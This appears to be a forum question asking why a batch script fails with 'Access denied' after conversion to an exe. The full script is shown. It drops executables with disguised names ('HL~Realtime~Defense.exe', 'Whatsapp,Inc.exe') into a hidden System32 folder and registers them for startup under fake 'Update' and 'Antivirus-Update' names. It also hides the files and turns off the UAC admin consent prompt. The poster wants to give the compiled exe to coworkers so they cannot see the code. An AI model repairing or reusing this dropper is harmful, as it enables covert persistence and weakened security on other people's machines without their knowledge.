title: Why dosen't my batch file copy it to the correct location?
body: <p>This issue is eating my brains of. I have a simple batch file which makes a directory in <code>%SYSTEMROOT%</code> only if it does not exist &amp; copies certain files to that directory, adds the attribute <code>+S +R +H</code> to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!</p>
  
  <p>My issue is that when I convert it to exe using <code>Quick Batch Convertor</code> as the moment it becomes an exe it starts giving <code>Access denied error</code> only when It gets to copy the files in <code>%SYSTEMROOT%</code> even though I am running it as administrator and the disabling UAC command, which is <code>C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f</code>  works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the <code>Quick Batch Converter</code> because I have converted many files using this converter an they worked flawless.</p>
  
  <p>The code for my batch is here</p>
  
  <pre><code>@echo off
  echo %CD%
  cd %~dp0
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update"     /t REG_SZ /d     "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\"  " /f
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v     "Antivirus-Update " /t REG_SZ /d     "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\"  " /f 
  if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir         %SYSTEMROOT%\system32\SystemSettingsUpdate
  cd %~dp0
  taskkill /f /im configure.exe
  copy "%~dp0HL~Realtime~Defense.exe"     "%SYSTEMROOT%\system32\SystemSettingsUpdate"
  copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
  copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
  ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
  ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
  ATTRIB +H -R +S             %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
  
  
  C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD             HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v                     ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f  
  exit 
  </code></pre>
  
  <p>Any Suggestions?</p>